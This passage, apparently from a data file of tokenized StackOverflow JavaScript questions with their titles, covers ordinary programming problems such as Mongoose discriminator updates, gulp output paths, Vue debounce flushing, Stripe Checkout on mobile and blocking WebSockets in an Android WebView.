bulky box.At this point , I 've tried what 's in this fiddle . Still , the styling is all wrong . The main code looks like this : While I 'm using the following JavaScript : Any help is appreciated . This is really frustrating . < div class= '' container '' > < div class= '' form-group label-static is-empty '' > < div class= '' row '' > < div class= '' col-xs-3 '' > < label class= '' control-label '' for= '' Description '' > Description < /label > < /div > < div class= '' col-xs-9 '' > < div id= '' toolbar '' class= '' pull-right '' style= '' vertical-align : top ; margin-top:0 ; padding-top:0 ; '' > [ toolbar ] < /div > < /div > < /div > < input class= '' form-control '' rows= '' 3 '' id= '' Description '' name= '' Description '' onfocus= '' setMode ( 'rich ' ) ; '' onblur= '' setMode ( null ) ; '' > < /div > < /div > $ ( function ( ) { $ .material.init ( ) ; } ) ; function setMode ( name ) { if ( name === 'rich ' ) { $ ( ' # Description ' ) .summernote ( { focus : true } ) ; } else { $ ( ' # Description ' ) .summernote ( 'destroy ' ) ; } }",Styling Wysiwyg Editor "JS : While I was trying to insert an iframe using documnet.write in IE , I got success . But , any html code after that is not executed.Here `` Bye Bye '' string is not executed.For an instant check you can type in your browser urlAfter doing trial and error , I found that if I close the iframe tag in the following way , it works.Now , the problem is `` I do not have any opportunity to change the < iframe ../ > to < iframe .. > < /iframe > '' . Looking for your kind advice . document.write ( `` < div > Hello < /div > < iframe ... ./ > < div > Bye Bye < /div > '' ) ; javascript : document.write ( `` < div > Hello < /div > < iframe ... ./ > < div > Bye Bye < /div > '' ) ; < iframe ... > < /iframe > instead of < iframe ... / >",Any HTML code after iframe is not executed using document.write "JS : I am working on a REST API using Node , Express and Mongoose . Everything works perfectly when I update the base model . But when I try to update the discriminator object sportEvent in this case , it does n't work.Event.js - Event data model has a base schema common for all the collections with a discriminator for additional detail for that collection.EventController.js - has a PUT method for updating the collection . Here is a code snippet . // base schema for all the events// includes basic detail for all the eventsconst eventSchema = new Schema ( { //title for the event title : { type : String , required : true } , //description for the events description : { type : String , required : true } , //event type for the event . such as Music , Sports , Expo , Leisure eventType : { type : String , required : true , } } , { discriminatorKey : 'eventType ' } ) ; //sport event model for extending the basic event modelconst sportEvent = Event.discriminator ( `` sports '' , new Schema ( { sportEvent : { //sport name . for eg : cricket , football , etc sportName : { type : String , required : true } , //first team name firstTeam : { type : String , required : true } , //second team name secondTeam : { type : String , required : true } , } } ) ) ; //for updating the event added a PUT method in /event routerouter.put ( '/events/ : eventId ' , function ( req , res , next ) { //getting the event id form the url eventId = req.params.eventId ; //checking the provided event id is a valid mongodb _id object or not if ( objectId.isValid ( eventId ) ) { Event.findOneAndUpdate ( { _id : eventId } , { $ set : req.body } , { new : true , runValidators : true } , function ( err , event ) { if ( err ) { next ( err ) ; } sendResponse ( res , `` Event Successfully Updated '' , event ) ; } ) ; } else { //sending a bad request error to the user if the event id is not valid sendError ( res , 400 , `` Invalid Event ID '' ) ; } } ) ;",findOneAndUpdate Not Updating Discriminator "JS : My question begins with another one , asked here : Gulp : How to set dest folder relative to processed file ( when using wildcards ) ? I have a similar situation , where I need to make compressed versions on a per-module basis . That is , I haveand I need to have gulp copy the files into relative directories so I end up withI have the following gulp taskHowever , when I run it , I end up withI see in the docs where it says cwd - Specify the working directory the folder is relative to . base - Specify the folder relative to the cwd . Default is where the glob begins . This is used to determine the file names when saving in .dest ( ) I have several questions , specifically about .src ( ) , .dest ( ) and the path and file objects . ( That is , although I 'm sure there are other ways to achieve my end goal , this question is specifically about the behavior of the sample gulp code above and the functions mentioned so I can understand their behavior and API better . ) QuestionsWhen the docs say `` the working directory the folder is relative to '' , what folder is this ? on that same note , in relation to this comment and the spot in the docs where it says `` base - Specify the folder relative to the cwd . Default is where the glob begins '' what does `` where the glob begins '' mean ? My understanding of 'glob ' is that it 's the whole string , but does it really mean a * character within that string ? So for 'some/folder/**/*.js ' with a file existing at some/folder/a/b/c/foo.js I 'm not sure if the base is some/folder/ , some/folder/a/ , or some/folder/a/b/c/ ? is there a way to say < where the glob begins > + '.. ' ? where I 'm saying path.join ( path.dirname ( file.path ) , 'compressed ' ) I 'm assuming that 's producing C : \blah\ui\test\one\compressed . It follows then that whatever 's decided the actual name of the file has one\script1.js in mind . How do I change its mind so that it 's only thinking of script1.js ? Note : I tried doing the following ( using gulp-debug ) The console has the following output for this version of the task : So it appears that the rename has no effect on the path . I also tried modifying path.dirname in the rename pipe , but could n't find anything that would have the desired effect of simply removing the spurious directory name from the final output path.My last question , then , is what exactly do path.basename and path.dirname contain for the path object passed to the rename function ? edit : I found this on how to debug gulp tasks . Doing so with a debugger ; statement placed in the rename function allowed me to inspect the path object , which looks like this : Setting path.dirname to `` in the rename results inso it may be that rename ( ) itself is not useful for what I need . It 's looking more like the base option to .src ( ) may be where the key lies , but the docs are rather terse . ui/test/one/script1.jsui/test/two/script2.js ui/test/one/compressed/script1.jsui/test/two/compressed/script2.js gulp.task ( 'test ' , function ( ) { return gulp.src ( 'ui/test/**/*.js ' ) .pipe ( gulp.dest ( function ( file ) { return path.join ( path.dirname ( file.path ) , 'compressed ' ) ; } ) ) ; } ) ; ui/test/one/compressed/one/script1.jsui/test/two/compressed/two/script2.js gulp.task ( 'test ' , function ( ) { return gulp.src ( 'ui/test/**/*.js ' , { cwd : './ ' } ) .pipe ( debug ( { minimal : false } ) ) .pipe ( rename ( function ( path ) { path.basename = path.basename.substring ( path.basename.lastIndexOf ( '\\ ' ) + 1 ) ; } ) ) .pipe ( debug ( { minimal : false } ) ) .pipe ( gulp.dest ( function ( file ) { return path.join ( path.dirname ( file.path ) , 'compressed ' ) ; } ) ) ; } ) ; cwd : ./base : C : \blah\ui\testpath : C : \blah\ui\test\one\script1.jscwd : ./base : C : \blah\ui\testpath : C : \blah\ui\test\one\script1.jscwd : ./base : C : \blah\ui\testpath : C : \blah\ui\test\two\script2.jscwd : ./base : C : \blah\ui\testpath : C : \blah\ui\test\two\script2.js { basename : `` script1 '' , dirname : `` one '' , extname : `` .js '' } ui/test/compressed/script1.jsui/test/compressed/script2.js",Explanation of node paths with respect to gulp .pipe ( ) JS : I 'm using the pikaday date picker plugin ( through an angular directive and with momentjs ) and sending the value to the server . Converting to json seems to lose a day though : I think this is a momentjs problem but I have no idea what 's going wrong . var d = myPikaObject.getDate ( ) ; console.log ( d ) ; // Thu Apr 30 2015 00:00:00 GMT+0200 ( SAST ) console.log ( d.toJSON ( ) ) ; // 2015-04-29T22:00:00.000Z,`` getDate ( ) .toJSON ( ) '' loses a day "JS : I have a basic foo.html in my iOS 10 application . The markup is straight forward : I load it with the following : In my iOS app , I 'm trying to access the bar variable . After the DOM is loaded as confirmed by by WKNavigationDelegate 's method : func webView ( _ webView : WKWebView , didFinish navigation : WKNavigation ! ) I have code like this : I end up getting an error : Is what I 'm trying to do possible ? Do I have to approach the problem a different way ? Does evaluateJavaScript have access to the scope of my DOM after it 's loaded because as of right now , it seems it does not . < ! doctype html > < html > < head > < meta charset= '' utf-8 '' > < meta http-equiv= '' x-ua-compatible '' content= '' ie=edge '' > < title > Example < /title > < meta name= '' viewport '' content= '' width=device-width , initial-scale=1 '' > < /head > < body > < p > Hello , World ! < /p > < div id= '' container '' > < /div > < /body > < script type= '' text/javascript '' src= '' bar.js '' > < /script > < script type= '' text/javascript '' > // Bar is defined in bar.js var bar = new Bar ( ) ; < /script > < /html > let htmlFile = Bundle.main.path ( forResource : `` foo '' , ofType : `` html '' ) let html = try ? String ( contentsOfFile : htmlFile ! , encoding : String.Encoding.utf8 ) webView.loadHTMLString ( html ! , baseURL : nil ) var htmlContent : String { var s = `` console.log ( bar ) '' return s } webView.evaluateJavaScript ( htmlContent , completionHandler : { result , error in if let error = error { print ( `` error : \ ( error ) '' ) } if let result = result { print ( `` result : \ ( result ) '' ) } } ) error : Error Domain=WKErrorDomain Code=4 `` A JavaScript exception occurred '' UserInfo= { WKJavaScriptExceptionLineNumber=1 , WKJavaScriptExceptionMessage=ReferenceError : Ca n't find variable : Bar , WKJavaScriptExceptionSourceURL=about : blank , NSLocalizedDescription=A JavaScript exception occurred , WKJavaScriptExceptionColumnNumber=47 }",Will JavaScripts embedded in an HTML file loaded by WKWebView be accessible ? "JS : The Vue.js docs suggest using lodash 's debounce function to debounce expensive methods , which I have successfully implemented . But occaisionally I do n't want to act immediately , and lodash 's docs say : The debounced function comes with a cancel method to cancel delayed func invocations and a flush method to immediately invoke them.But that is it . No information how to invoke the flush method . I found this blog post , but I am not sure how to implement that in a Vue.js component.This is what I have in my Vue.js component at the moment ( codepen ) : change is properly debounced and only run once after typing , as expected . However , changeNow throws the following error : Uncaught TypeError : this.change.flush is not a functionAny advice on how to implement this would be greatly appreciated ! < template > < input type='text ' @ keyup= '' change '' @ keyup.enter= '' changeNow '' > < /template > < script > export default { name : `` MyComponent '' , methods : { change : _.debounce ( function ( ) { console.log ( `` changing ... '' ) ; } , 250 ) , changeNow : function ( ) { this.change ( ) ; this.change.flush ( ) ; } } } ; < /script >",Using Vue.js how to you flush a method that is debounced with lodash ? "JS : With dynamically generated HTML from JSON data I 'm trying to add a class to each .status-card , in this case depending on the value of c.callStatus . This is the closest I got , but this just adds active class to all status-card . I 'm guessing it 's something to do with how I 'm using $ ( this ) or I 'm missing something else ? Thanks ! $ ( function ( ) { var agents = [ ] ; $ .getJSON ( 'js/agents.json ' , function ( a ) { $ .each ( a.agents , function ( b , c ) { var content = ' < div class= '' status-card '' > ' + ' < div class= '' agent-details '' > ' + ' < span class= '' agent-name '' > ' + c.name + ' < /span > ' + ' < span class= '' handling-state '' > ' + c.callStatus + ' < /span > ' + ' < span class= '' handling-time '' > ' + c.handlingTime + ' < /span > ' + ' < /div > ' + ' < div class= '' status-indicator '' > < /div > ' + ' < /div > ' $ ( content ) .appendTo ( ' # left ' ) ; //Add class depending on callStatus $ ( '.status-card ' ) .each ( function ( ) { if ( c.callStatus == 'On Call ' ) { $ ( this ) .removeClass ( 'idle away ' ) .addClass ( 'active ' ) ; } else if ( c.callStatus == 'Idle ' ) { $ ( this ) .removeClass ( 'active away ' ) .addClass ( 'idle ' ) ; } else { $ ( this ) .removeClass ( 'active idle ' ) .addClass ( 'away ' ) ; } console.log ( c.callStatus ) ; } ) ; } ) ; } ) ; } ) ;",Add class depending on JSON data "JS : I 'm using : ember-cli 0.2.7ember-data 1.0.0-beta.18ember 1.12.0I 'm not sure why but it seems that I ca n't retrieve the tags for my newsletter model.I 'm using ActiveModelAdapter : newsletter.jstag.jsAPI response ( rails backend using ActiveModelSerializer ) : I do n't know how to retrieve the list of tags for a newsletter . I tried this using the ember inspector and the console ( $ E containing the first newsletter ) : import DS from 'ember-data ' ; export default DS.ActiveModelAdapter.extend ( { namespace : 'api/v1 ' , host : 'http : //localhost:3000 ' } ) ; import DS from 'ember-data ' ; export default DS.Model.extend ( { title : DS.attr ( 'string ' ) , tags : DS.hasMany ( 'tag ' ) } ) ; import DS from 'ember-data ' ; export default DS.Model.extend ( { name : DS.attr ( 'string ' ) } ) ; { `` newsletters '' : [ { `` id '' : 1 , `` title '' : `` Panel Weekly '' , `` tag_ids '' : [ 1 ] } , { ... } ] , `` tags '' : [ { `` id '' : 1 , `` name '' : `` arts '' } , { ... } } > $ E.get ( 'tags.length ' ) 0 > $ E.get ( 'tags ' ) Class { canonicalState : Array [ 0 ] , store : Class , relationship : ember $ data $ lib $ system $ relationships $ state $ has $ many $ $ ManyRelationship , record : Class , currentState : Array [ 0 ] … } > $ E.get ( 'title ' ) '' Panel Weekly ''",Ember Data hasMany relationship empty result "JS : I 'm using Stripe Checkout and everything is working ok with the popup on desktop . When I view the website on mobile ( specifically Chrome on vanilla Android 4.3 , also tried on Opera for Android with similar result ) , a popup window appears to open for a brief second but then closes . I never see it and it 's not in another open tab either.I 've read this documentation and my code is compliant.Here 's the JavaScript I 'm using : I 'm using https : //checkout.stripe.com/checkout.js.I 've tried debugging this via the Chrome Developer tools , in which you can see the Android logs , and no error is showing up . $ ( document ) .ready ( function ( ) { //The actual giving part $ ( ' a.payamount ' ) .click ( function ( e ) { window.amountToGive = $ ( this ) .data ( 'amount ' ) ; // Open Stripe Checkout with further options stripeHandler.open ( { name : campaignName , description : 'Give $ ' + ( window.amountToGive / 100 ) + ' to ' + campaignName , amount : window.amountToGive } ) ; } ) ; var stripeHandler = StripeCheckout.configure ( { key : 'mykeygoeshere ' , image : '/img/g.png ' , locale : 'auto ' , token : function ( token ) { //Add campaign info token [ 'campaign_id ' ] = campaignId ; token [ 'amount ' ] = window.amountToGive ; postStripeData ( token ) ; } } ) ; // Close Checkout on page navigation $ ( window ) .on ( 'popstate ' , function ( ) { stripeHandler.close ( ) ; } ) ; } ) ; function postStripeData ( token ) { showLoadingModal ( ) ; $ .ajax ( { method : 'POST ' , url : postStripeDataUrl , data : token } ) .always ( function ( data_jqXHR , textStatus , jqXHR_errorThrown ) { if ( textStatus.indexOf ( 'error ' ) == -1 ) { //POST'ed ok console.log ( data_jqXHR ) ; window.location.href = data_jqXHR ; } else { alert ( 'Error while posting ! ' ) ; } } ) ; }",Stripe appears to create popup window but closes it on mobile "JS : I 'm creating a piano in the browser using javascript . In order for me to play the same key multiple times simultaneously , instead of just playing the Audio object , I clone it and play the clone , otherwise I 'd have to wait for the audio to finish or to restart it , which I do n't want.I 've done something like this : The problem is , I was checking chrome 's inspector , and I noticed that every time I clone the object , the browser download it againI checked some people who wanted to achieve similar things , and noticed that most of them have the same problem that I do , they redownload the file . The only example I found that can play the same audio source multiple times simultaneously is SoundJs http : //www.createjs.com/SoundJSI tried checking the source could but could n't figure out how it was done . Any idea ? var audioSrc = new Audio ( 'path/ ' ) ; window.onkeypress = function ( event ) { var currentAudioSrc = audioSrc.cloneNode ( ) ; currentAudioSrc.play ( ) ; }",Cloning audio source without having to download it again "JS : I 've got a service , PageService , that I test like this ( simplified ) ... I 've struggled to use bluebird to promisify all the methods hanging off of PageService ( getAll , getById , create , update , delete , etc ) . I 've looked at several discussions on the topic , but most seem to concern trying to get constructors to return a promise . I just want to promisify all the functions hanging off the class I create via a constructor . It 's the pageService = new PageService ( database ) ; that I ca n't get past for promisification.PageService is just using a basic constructor pattern - e.g.If someone could show me the proper way to easily promisify all the functions hanging off the object returned from the constructor , I 'd appreciate it . I 'm also open to the fact that I may be doing this the wrong way . I 'm pretty new to promises in general and welcome guidance.UpdateI got the functions promisified by doing the following ... ... but that seems like a bad practice to run through promisification every time I new up an instance of the service . I 'd like a way to promisify once and only once . I recognize that manually returning promises in the service might be the solution , but was hoping for something more elegant via bluebird magic . var database = require ( `` ../database/database '' ) ; var PageService = require ( `` ./pageService '' ) ; describe ( `` PageService '' , function ( ) { var pageService = { } ; before ( function ( done ) { pageService = new PageService ( database ) ; } it ( `` can get all Pages '' , function ( done ) { pageService.getAll ( function ( err , pages ) { if ( err ) return done ( err ) ; pages.should.be.instanceOf ( Array ) ; pages.length.should.be.greaterThan ( 1 ) ; done ( ) ; } ) ; } ) ; self.getAll = function ( next ) { self.collection.find ( { } , function ( err , docs ) { if ( err ) return next ( err ) ; next ( null , docs ) ; } ) ; } ; pageService = new PageService ( database ) ; Promise.promisifyAll ( pageService ) ;",How to use Bluebird to promisify the exported functions on a constructor-built `` class '' "JS : I have a custom textarea . In this example , it makes the letters red or green , randomly.There 's an output div with a textarea over it . So the textarea does n't cover up any of the colorful things below it , its color and background are set to transparent . Everything works here , except that the caret ( the flashing cursor provided by the user agent ) is transparent.Is there a way to show the caret without making the textarea 's text visible ? If I make the div above the textarea instead and give it pointer-events : none , the textarea is still visible underneath . This arrangements also makes smooth scrolling difficult , so it does n't work for me . var mydiv = document.getElementById ( 'mydiv ' ) , myta = document.getElementById ( 'myta ' ) ; function updateDiv ( ) { var fc ; while ( fc = mydiv.firstChild ) mydiv.removeChild ( fc ) ; for ( var i = 0 ; i < myta.value.length ; i++ ) { var span = document.createElement ( 'span ' ) ; span.className = Math.random ( ) < 0.5 ? 'green ' : 'red ' ; span.appendChild ( document.createTextNode ( myta.value [ i ] ) ) ; mydiv.appendChild ( span ) ; } } ; myta.addEventListener ( 'input ' , updateDiv ) ; body { position : relative } div , textarea { -webkit-text-size-adjust : none ; width : 100 % ; white-space : pre-wrap ; word-wrap : break-word ; overflow-wrap : break-word ; font : 1rem sans-serif ; padding : 2px ; margin : 0 ; border-radius : 0 ; border : 1px solid # 000 ; resize : none ; } textarea { position : absolute ; top : 0 ; color : transparent ; background : transparent ; } .red { color : # f00 } .green { color : # 0f0 } < div id= '' mydiv '' > < /div > < textarea id= '' myta '' autofocus= '' '' > < /textarea >",Show a caret in a custom textarea without displaying its text "JS : Since my other bug got solved , I 'm posting a new question for this bug.I made a Snake canvas game , but my snake tends to eat itself when you press two buttons at the same time.. I 'm not sure how to explain it properly , but this is what happens : Say my snake is moving towards the left , and I press down + right , it 'll eat itself and trigger a game over . Same when it goes to the right : down + left and bam , dead . I ca n't seem to reproduce the bug when the snake goes up and down though..This is the code involved with changing directions : I thought there was something wrong with the compiled JS because my switch statement does n't have a break on the last case ; however , I tried adding else return to the coffee script file and this did n't change anything . I 'm completely lost here so I hope someone will be able to spot where I 'm going wrong . It seems as if it takes the keydown events right , but they get overridden when you press too fast . If that makes sense ? Like.. You 'd press up when the snake is going right , but then you press left before it actually had a chance to go up and then it just goes left . Chaotic sentence right there , I suggest you play for a while and try to reproduce this if you 're as intrigued as I am : ( I have no clue how to debug this properly.. The game loop tends to spam me with messages when I do console.log . A live demo and link to my github repo can be found hereThanks in advance . bindEvents = - > keysToDirections = 37 : LEFT 38 : UP 39 : RIGHT 40 : DOWN $ ( document ) .keydown ( e ) - > key = e.which newDirection = keysToDirections [ key ] if newDirection setDirection newDirection e.preventDefault ( ) setDirection = ( newDirection ) - > # TODO : there 's some bug here ; try pressing two buttons at the same time.. switch Snake.direction when UP , DOWN allowedDirections = [ LEFT , RIGHT ] when LEFT , RIGHT allowedDirections = [ UP , DOWN ] if allowedDirections.indexOf ( newDirection ) > -1 Snake.direction = newDirection",Canvas Game : My snake eats itself "JS : I am using the BigNumber library of MikeMcl to handle my needs for big numbers . I use this library in an Ionic/Angular project.As explained on Github , the way to install and use this library is to include a script tage in your html : Now in my code , I can use this library as for instance : I tested this and it works fine on Chrome and on Safari ( even on device ) .But when I install the app on my phone , using Phonegap Build , the app does not work anymore ( I checked that this library is the cause by removing the BigNumber syntaxes from my code ) . Moreover , the Angular in the app just crashes and shows for instance { { variableName } } and nothing is working.Because I develop in a cloud environment , I did try to debug the app using the Safari Developer Debug Console on a mac ( by plugging my phone with an USB to the mac and then enabling Developer tools in Safari ) .However , no errors were found with exception of one : But this is not the cause of the problem.What is going on ? How can I still use this javascript library on my device ? < ! DOCTYPE html > < html > < head > < meta charset= '' utf-8 '' > < meta name= '' viewport '' content= '' initial-scale=1 , maximum-scale=1 , user-scalable=no , width=device-width '' > < title > < /title > < ! -- compiled css output -- > < link href= '' css/ionic.app.min.css '' rel= '' stylesheet '' > < link href= '' css/style.css '' rel= '' stylesheet '' > < ! -- ionic/angularjs js -- > < script src= '' lib/ionic/js/ionic.bundle.min.js '' > < /script > < ! -- cordova script ( this will be a 404 during development ) -- > < script src= '' lib/ngCordova/dist/ng-cordova.min.js '' > < /script > < script src= '' cordova.js '' > < /script > < ! -- ********* BIGNUMBER library ********* -- > < script src='lib/bignumber.js/bignumber.min.js ' > < /script > < script src= '' js/app.js '' > < /script > < script src= '' js/controllers.js '' > < /script > < script src= '' js/services.js '' > < /script > < /head > < body ng-app= '' starter '' > < ion-nav-view > < /ion-nav-view > < /body > < /html > x = new BigNumber ( 123.4567 ) y = BigNumber ( '123456.7e-3 ' ) z = new BigNumber ( x ) x.equals ( y ) & & y.equals ( z ) & & x.equals ( z ) // true file not found : `` path/to/ionic/lib/js/angular.min.js.map '' 404",Javascript library not working on Device JS : I 'm trying to use Windows Runtime Component ( C # ) in my Windows 10 Universal App ( JavaScript ) .I found how to do that in Windows 8.x store apps : https : //msdn.microsoft.com/en-us/library/hh779077.aspxbut this solution is not working with Windows 10 Universal App . It is throwing exception that class is not registered in the JavaScript.WRC code : In JS : namespace SampleComponent { public sealed class Example { public static string GetAnswer ( ) { return `` The answer is 42 . `` ; } public int SampleProperty { get ; set ; } } } document.getElementById ( 'output ' ) .innerHTML = SampleComponent.Example.getAnswer ( ) ;,Calling C # component from JavaScript in Windows 10 Universal App "JS : Say , I have a dateIs there a method in Javascript to return number of milliseconds since 1970-01-01 ? For this particulat date it would return 1325376000000For this purpose , there is a method `` toUTC ( ) '' that runs in Chrome only . I know this because i can do that in Chrome 's console . See screen attached below : However , When I search about this method on the internet , I do n't find it and it does n't work in Firefox either which is very wierd and I am very confused.Anyhow , if you know any way to get this , will be really appreciated.Thank You var dt = new Date ( '2012-01-01 ' ) ;",Javascript method to find number of milliseconds from 1970-01-01 ? "JS : I 'm looking for a way to find the average of an unspecified number of colors . I spent a lot of time looking for a way to do this . First I tried converting my colors to CMYK and averaging them , but that did n't provide the result I expected . Then I saw that in several different places , converting the colors to CIE L*a*b* space and then averaging is the preferred way of doing this . So I looked up how to convert RGB colors to LAB space and converted into Javascript the necessary algorithms to make this happen.Now that I have my colors in LAB space , I thought it would be as simple as finding the average of my colors , so I wrote this function to do the trick : If I enter RGB ( 255 , 0 , 0 ) and RGB ( 0 , 0 , 255 ) into the function , I get RGB ( 202 , -59 , 136 ) . This color is nothing near what Color Hexa says is the average of those two RGBs , which is RGB ( 128 , 0 , 128 ) , a.k.a purple . I went back over all my code , and so far I 've managed to determine that the problem does not lie with any of my conversion algorithms by double- and triple-checking them against Color Hexa and EasyRGB . That means either a ) the issue must lie with how I 'm averaging the colors or b ) I 've been misinformed and I should n't attempt to mix colors in CIE L*a*b* space.What exactly am I missing here ? Using my current algorithm , why is averaging RGB ( 255 , 0 , 0 ) and RGB ( 0 , 0 , 255 ) not giving me the same results that Color Hexa ( or even visual estimation ) provides ? ( here 's a fiddle of my problem ) color.mixRGB = function ( ) { var cols = Array.prototype.slice.call ( arguments ) , i = cols.length , lab = { l : 0 , a : 0 , b : 0 } ; while ( i -- ) { if ( typeof cols [ i ] .r === `` undefined '' & & typeof cols [ i ] .g === `` undefined '' & & typeof cols [ i ] === `` undefined '' ) { console.log ( `` Not enough parameters supplied for color `` + i + `` . `` ) ; return ; } if ( cols [ i ] .r === 0 & & cols [ i ] .g === 0 & & cols [ i ] .b === 0 ) { cols.splice ( i , 1 ) ; } else { cols [ i ] = color.RGBtoLAB ( cols [ i ] ) ; lab.l += cols [ i ] .l ; lab.a += cols [ i ] .a ; lab.b += cols [ i ] .b ; } } lab.l /= cols.length ; lab.a /= cols.length ; lab.b /= cols.length ; return color.LABtoRGB ( lab ) ; } ;",How can I find the average of N colors ? "JS : working the first time with $ mdDialog I am used to create a dialog with an external HTML Template . So far , so good , ... it works template can get opened , but ng-click in the html wont work anymore . And I can not find the reason for it . The mdDialog gets called in userController like this : The method to open the $ mdDialog in userController : And this is the dialog controller for the dialog , where the buttons are not working : And this is the html code for the dialogController : None of the ng-clicks is working ! Any hint for me ? < md-icon layout= '' row '' flex md-font-set= '' material-icons '' class= '' active '' ng-click= '' vm.showMenu ( $ event ) '' > menu < /md-icon > vm.showMenu = function showMenu ( ev ) { $ mdDialog.show ( { controller : MenuDialogController , templateUrl : 'app/components/head/user/menu.dialog.html ' , parent : angular.element ( $ document.body ) , targetEvent : ev , clickOutsideToClose : true , fullscreen : $ scope.customFullscreen // Only for -xs , -sm breakpoints . } ) .then ( function ( answer ) { $ scope.status = 'You said the information was `` ' + answer + ' '' . ' ; } , function ( ) { $ scope.status = 'You cancelled the dialog . ' ; } ) ; } ; angular .module ( 'trax ' ) .controller ( 'MenuDialogController ' , MenuDialogController ) ; function MenuDialogController ( ) { var vm = this ; vm.close = function close ( ) { alert ( 'close clicked ' ) ; } vm.ok = function ok ( ) { alert ( 'ok clicked ' ) ; } } < md-dialog aria-label= '' User Menu '' > < form ng-cloak > < md-toolbar > < div class= '' md-toolbar-tools '' > < h2 > User Menu < /h2 > < span flex > < /span > < md-button class= '' md-icon-button '' ng-click= '' vm.close ( $ event ) '' > < md-icon md-font-set= '' material-icons '' > close < /md-icon > < /md-button > < /div > < /md-toolbar > < md-dialog-content > < div class= '' md-dialog-content '' > < h2 > Dialog Title < /h2 > < p > Dialog Text ... . < /p > < p ng-click= '' vm.test ( $ event ) '' > test < /p > < /div > < /md-dialog-content > < md-dialog-actions layout= '' row '' > < md-button href= '' http : //en.wikipedia.org/wiki/Mango '' target= '' _blank '' md-autofocus > More on Wikipedia < /md-button > < span flex > < /span > < md-button ng-click= '' vm.close ( $ event ) '' > cancel < /md-button > < md-button ng-click= '' vm.ok ( $ event ) '' > ok < /md-button > < /md-dialog-actions > < /form > < /md-dialog >",ng-click on user defined $ mdDialog with external template are not working "JS : I am attempting to clear a former timeout before initiating a new timeout , because I want messages to display for 4 seconds and disappear UNLESS a new message pops up before the 4 seconds is up . The Problem : Old timeouts are clearing the current message , so clearTimeout ( ) is not working in this component , in this scenario : The funny thing is that this works : ... but obviously defeats the purpose , since it just immediately obliterates the timeout.In practice , I should be able to trigger initMessage ( ) every two seconds and never see , `` wiping message ' logged to the console . let t ; // `` t '' for `` timer '' const [ message , updateMessage ] = useState ( 'This message is to appear for 4 seconds . Unless a new message replaces it . ' ) ; function clearLogger ( ) { clearTimeout ( t ) ; t = setTimeout ( ( ) = > { console.log ( 'wiping message ' ) ; updateMessage ( `` ) ; } , 4000 ) ; } function initMessage ( msg ) { updateMessage ( msg ) ; clearLogger ( ) ; } function clearLogger ( ) { t = setTimeout ( ( ) = > { console.log ( 'wiping message ' ) ; updateMessage ( `` ) ; } , 4000 ) ; clearTimeout ( t ) ; }",Why is clearTimeout not clearing the timeout in this react component ? "JS : I am developing a third party JavaScript widget that will be included by users on their applications/blogs . I have good tests around the library , but I am afraid that if despite that if some syntax error sneaks through and cause the other scripts on the user 's application to stop loading . So - to prevent this from happening , is it a good idea to surround my entire widget code in a try/catch like this ? try { // my library } catch ( e ) { // notify me about the error }",Third party JavaScript - good idea to use try catch ? "JS : My team is using Recurly.js to build a payments page into our website . We 've been following the docs from https : //docs.recurly.com/js . According to the docs , Build a form however you like . Use the data-recurly attribute to identify input field targets to Recurly.js . To identify where Recurly.js will inject card data fields , we recommend using simple div elements.The problem is that the div elements do n't actually show in the form . Here 's a short reproducible example based off of the docs : This is what it looks like : As you can see , the two inputs show fine , but none of the divs show correctly.What are we doing wrong and how do we build a Recurly.js form with div elements ? < ! doctype html > < html lang= '' en '' > < head > < ! -- Recurly.js script and API key config -- > < script src= '' https : //js.recurly.com/v4/recurly.js '' > < /script > < script > recurly.configure ( ' ... API Key here ... ' ) ; < /script > < /head > < body > < form > < input type= '' text '' data-recurly= '' first_name '' > < input type= '' text '' data-recurly= '' last_name '' > < div data-recurly= '' number '' > < /div > < div data-recurly= '' month '' > < /div > < div data-recurly= '' year '' > < /div > < div data-recurly= '' cvv '' > < /div > < input type= '' hidden '' name= '' recurly-token '' data-recurly= '' token '' > < button > submit < /button > < /form > < /body > < /html >",How do I build a Recurly.js form with div elements ? "JS : I ran into this piece of code : I guess we can generalize as : I then found this article on short circuits and another more focused one once I knew what they are called . However , I still do n't get it . Does it basically work on the principle of an OR statement ending evaluation if the first statement evaluates to true ? So if the first statement is true , end evaluation , if it 's false , run the function in the second half of the OR statement ? ( This is the main question I am asking , everything else is extra ) . I guess that part I do n't get is whether the compiler interprets this code differently or it still evaluates to false and just runs the function . Not even sure how to phrase Q . < a ng-click= `` item.statusId ! == itemStatus.in || transfer ( ) '' > < element ng-click = `` someVar ! == someValue || doStuff ( ) '' >",Javascript Short-Circuit ( Strange use of II / OR operator ) JS : I am reading this book and it has this code example It is working OK but why the anonymous function here not wrapped in parenthesis like this ( function ( ... ) ) ( i ) ; ? And in which cases can parenthesis be omitted in anonymous function ? function getFunction ( ) { var result = [ ] ; for ( var i = 0 ; i < 10 ; i++ ) { result [ i ] = function ( num ) { return function ( ) { console.log ( `` this is `` + num ) ; } } ( i ) ; } ; return result ; },Why is the parenthesis missing in this anonymous function call ? "JS : We want to use the stock Android WebView as a sandbox to execute local HTML/JS applications . A main security requirement is to set the WebView completely offline and only allow certain javascript interfaces to be called . These interfaces are passed into the javascript runtime using the WebView.addJavascriptInterface ( ) method.The Android application itself has the permission to access the network ( android.permission.INTERNET ) .I 'm able to disable normal http/https requests , but totally failed in blocking WebSocket requests . It seems these are handled different to normal http requests.One alternative is to overwrite the WebSocket JavaScript method . But this gives me a bad feeling as it is against the sandbox concept . It also seems to be possible to use delete to restore the original function pointer.Another alternative would be to bundle an own customized WebView ( e.g . Crosswalk-Project ) with our application , but would like to avoid it as the compilation and updates are quite an effort.I tried the following public WebView interfaces but none of them seems to block WebSocket calls : webSettings.setBlockNetworkLoads ( true ) ; webSettings.setCacheMode ( WebSettings.LOAD_CACHE_ONLY ) ; webView.setNetworkAvailable ( false ) ; WebViewClient.shouldOverrideUrlLoading ( ) ( callback ) WebViewClient.shouldInterceptRequest ( ) ( callback , tried both versions ) WebChromeClient.onPermissionRequest ( ) Tested on Android 4.4.4 ( 19 ) and Android 5/5.1 ( 21/22 ) .The javascript I 'm executing : Any ideas how this could be done ? Thanks a lot ws = new WebSocket ( `` wss : //echo.websocket.org '' ) ; ws.onmessage = function ( event ) { console.log ( `` received : `` + event.data ) ; } ; ws.onclose = function ( ) { console.log ( `` External Socket closed '' ) ; } ; ws.onopen = function ( ) { console.log ( `` Connected to external ws '' ) ; ws.send ( `` Hello from `` + navigator.userAgent ) ; } ;",Force Android WebView offline "JS : I 'm wanting to sort this list from A-Z and then 0-9.Having looked at similar questions , this was what I came up with , but it only works with numbers or letters ( not both ) . https : //jsfiddle.net/qLta1ky6/ < ol class= '' columns '' > < li data-char= '' y '' > y < /li > < li data-char= 